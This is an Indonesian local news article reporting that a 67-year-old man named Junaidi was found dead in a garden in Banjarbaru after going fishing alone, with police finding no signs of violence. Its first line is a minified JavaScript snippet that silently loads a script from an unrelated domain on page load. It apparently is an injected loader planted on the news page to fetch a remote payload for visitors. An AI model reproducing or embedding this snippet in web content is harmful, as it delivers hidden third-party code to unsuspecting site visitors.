(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki ditemukan sudah tak bernyawa di sebuah kebun Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Rabu (23/6/21) sekitar pukul 16.00 Wita.
Warga sekitar pun dibuat geger, jasad laki-laki itu tergeletak di sela tanaman. Belakangan diketahui laki-laki itu bernama Junaidi (67), warga Jalan A Yani Km 23, Komplek Safwah Asri, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang.
Jasad kakek itu ditemukan oleh salah satu tukang kebun di SD Islami Creative.
Ketua RW 02 Kelurahan Landasan Ulin Tengah, Hasbullah mengatakan, kabar penemuan mayat tersebut ia terima dari salah satu warga yang melapor kepadanya.
Setelah mendapat laporan tersebut, Hasbullah sudah berfirasat dan menduga jasad temuan yang dimaksud itu adalah temannya sendiri.
“Benar saja, ternyata pas sampai lokasi, kawan saya sering memancing,” ungkap Hasbullah.
Baca juga: Jejak Firli Bahuri di KPK: Dugaan Bocornya Kasus hingga Taktik ‘Mengunci’ Pemimpin Lain
Sebelum ditemukan meninggal dunia, Junaidi sempat berkunjung ke rumahnya sekitar pukul 13.00 Wita, bermaksud mengajak dirinya memancing di kawasan Jalan Trikora.
Karena ada kesibukan, Ketua RW ini menolak ajakan itu. Kakek Junaidi ternyata pergi memancing sendiri ke areal pemancingan di belakang SD Islami Creative.
“Saya tidak tahu penyebab meninggalnya, selama ini almarhum kelihatan baik-baik saja,” tuturnya.
Sementara itu, Kapolsek Banjarbaru Barat, Kompol Andri Hutagalung melalui Kanit Reskrim Polsek Banjarbaru Barat, AKP Slamet Rahardjo memastikan bahwa jasad temuan warga itu bernama Junaidi berumur 67 tahun, warga Jalan A Yani Km 23, Komplek Safwah Asri, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang.
“Sudah dicek, tidak ada bekas yang mencurigakan, atau bekas tanda kekerasan lainnya,” ucap AKP Slamet.
Kanit Reskrim Polsek Banjarbaru Barat menambahkan, setelah proses identifikasi jenazah selesai, jenazah langsung dibawa ke rumah duka.
Sebelumnya jenazah sempat ingin dibawa ke rumah sakit, namun karena tidak ada tanda-tanda kekerasan, akhirnya langsung dibawa ke rumah duka. (kanalkalimantan.com/dewi)
Reporter : dewi
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.